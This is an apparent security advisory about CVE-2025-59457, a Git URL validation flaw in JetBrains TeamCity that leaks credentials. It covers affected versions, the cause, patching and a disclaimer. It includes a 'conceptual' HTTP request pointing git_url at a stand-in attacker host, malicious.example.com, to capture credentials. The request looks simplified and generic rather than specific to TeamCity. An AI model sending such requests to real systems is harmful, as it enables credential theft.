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CVE-2025-59457: Git URL Validation Vulnerability Leading to Credential Leakage in JetBrains TeamCity

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Overview

This report provides an in-depth analysis of the CVE-2025-59457 vulnerability, a significant cyber threat identified in JetBrains TeamCity versions prior to 2025.07.2. The vulnerability specifically affects Windows users and has the potential to lead to system compromise or data leakage. It is critical due to the risk it presents, allowing unauthorized actors to gain access to confidential credentials.

Vulnerability Summary

CVE ID: CVE-2025-59457
Severity: High (7.7 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Credential leakage leading to potential system compromise or data leakage

Affected Products

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Product | Affected Versions

JetBrains TeamCity | Before 2025.07.2

How the Exploit Works

The vulnerability originates from an absence of Git URL validation in JetBrains TeamCity. An attacker could manipulate Git URLs to redirect requests to a malicious server. Due to the lack of validation, the system would treat this as a legitimate request, thus sending the user’s credentials to the attacker’s server, leading to unauthorized access and potential data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability could be exploited, in this case by sending a manipulated Git URL request:

POST /git/clone HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"git_url": "http://malicious.example.com/evil-repo.git"
}

This request would cause the system to clone from the malicious repository, in the process sending user credentials to the attacker’s server.

Mitigation Guidance

To mitigate the risks associated with this vulnerability, users are recommended to apply the vendor’s patch. JetBrains has released a patch in the version 2025.07.2, which addresses this vulnerability. In the absence of an immediate patch application, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. However, these should not be considered long-term solutions. Regular patching and system updates remain the most effective way to secure systems against known vulnerabilities.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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